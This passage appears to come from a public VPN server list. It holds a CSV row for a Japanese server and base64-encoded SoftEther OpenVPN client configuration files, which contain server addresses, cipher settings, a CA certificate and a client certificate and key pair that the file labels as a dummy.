MgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMTMuMTU0LjY3LjEwIDE5NDQNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn731375215,182.158.149.235,1248391,7,139666872,Japan,JP,43,430532195,135804,12362362649094,2weeks,scriptchildren's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxODIuMTU4LjE0OS4yMzUgMTU0Mg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgS